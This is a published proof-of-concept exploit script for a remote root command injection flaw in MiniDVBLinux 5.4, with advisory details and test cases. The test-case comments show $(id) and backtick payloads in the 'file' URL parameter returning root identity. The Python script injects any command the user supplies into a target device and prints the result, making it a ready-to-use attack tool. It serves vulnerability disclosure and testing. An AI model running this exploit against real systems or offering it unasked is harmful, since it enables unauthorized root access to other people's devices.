MiniDVBLinux 5.4 - Remote Root Command Injection

# Exploit Title: MiniDVBLinux 5.4  - Remote Root Command Injection
# Exploit Author: LiquidWorm
#!/usr/bin/env python3
#
#
# MiniDVBLinux 5.4 Remote Root Command Injection Vulnerability
#
#
# Vendor: MiniDVBLinux
# Product web page: https://www.minidvblinux.de
# Affected version: <=5.4
#
# Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
# way to convert a standard PC into a Multi Media Centre based on the
# Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
# Linux based Digital Video Recorder: Watch TV, Timer controlled
# recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
# via browser, and a lot more. MLD strives to be as small as possible,
# modular, simple. It supports numerous hardware platforms, like classic
# desktops in 32/64bit and also various low power ARM systems.
#
# Desc: The application suffers from an OS command injection vulnerability.
# This can be exploited to execute arbitrary commands with root privileges.
#
# Tested on: MiniDVBLinux 5.4
#            BusyBox v1.25.1
#            Architecture: armhf, armhf-rpi2
#            GNU/Linux 4.19.127.203 (armv7l)
#            VideoDiskRecorder 2.4.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2022-5717
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5717.php
#
#
# 24.09.2022
#

import requests
import re,sys

#test case 001
#http://ip:8008/?site=about&name=MLD%20about&file=/boot/ABOUT
#test case 004
#http://ip:8008/?site=about&name=blind&file=$(id)
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory
#test case 005
#http://ip:8008/?site=about&name=blind&file=`id`
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory

if len(sys.argv) < 3:
  print('MiniDVBLinux 5.4 Command Injection PoC')
  print('Usage: ./mldhd_root2.py [url] [cmd]')
  sys.exit(17)
else:
    url = sys.argv[1]
    cmd = sys.argv[2]

req = requests.get(url+'/?site=about&name=ZSL&file=$('+cmd+')')
outz = re.search('<pre>(.*?)</pre>',req.text,flags=re.S).group()
print(outz.replace('<pre>','').replace('</pre>',''))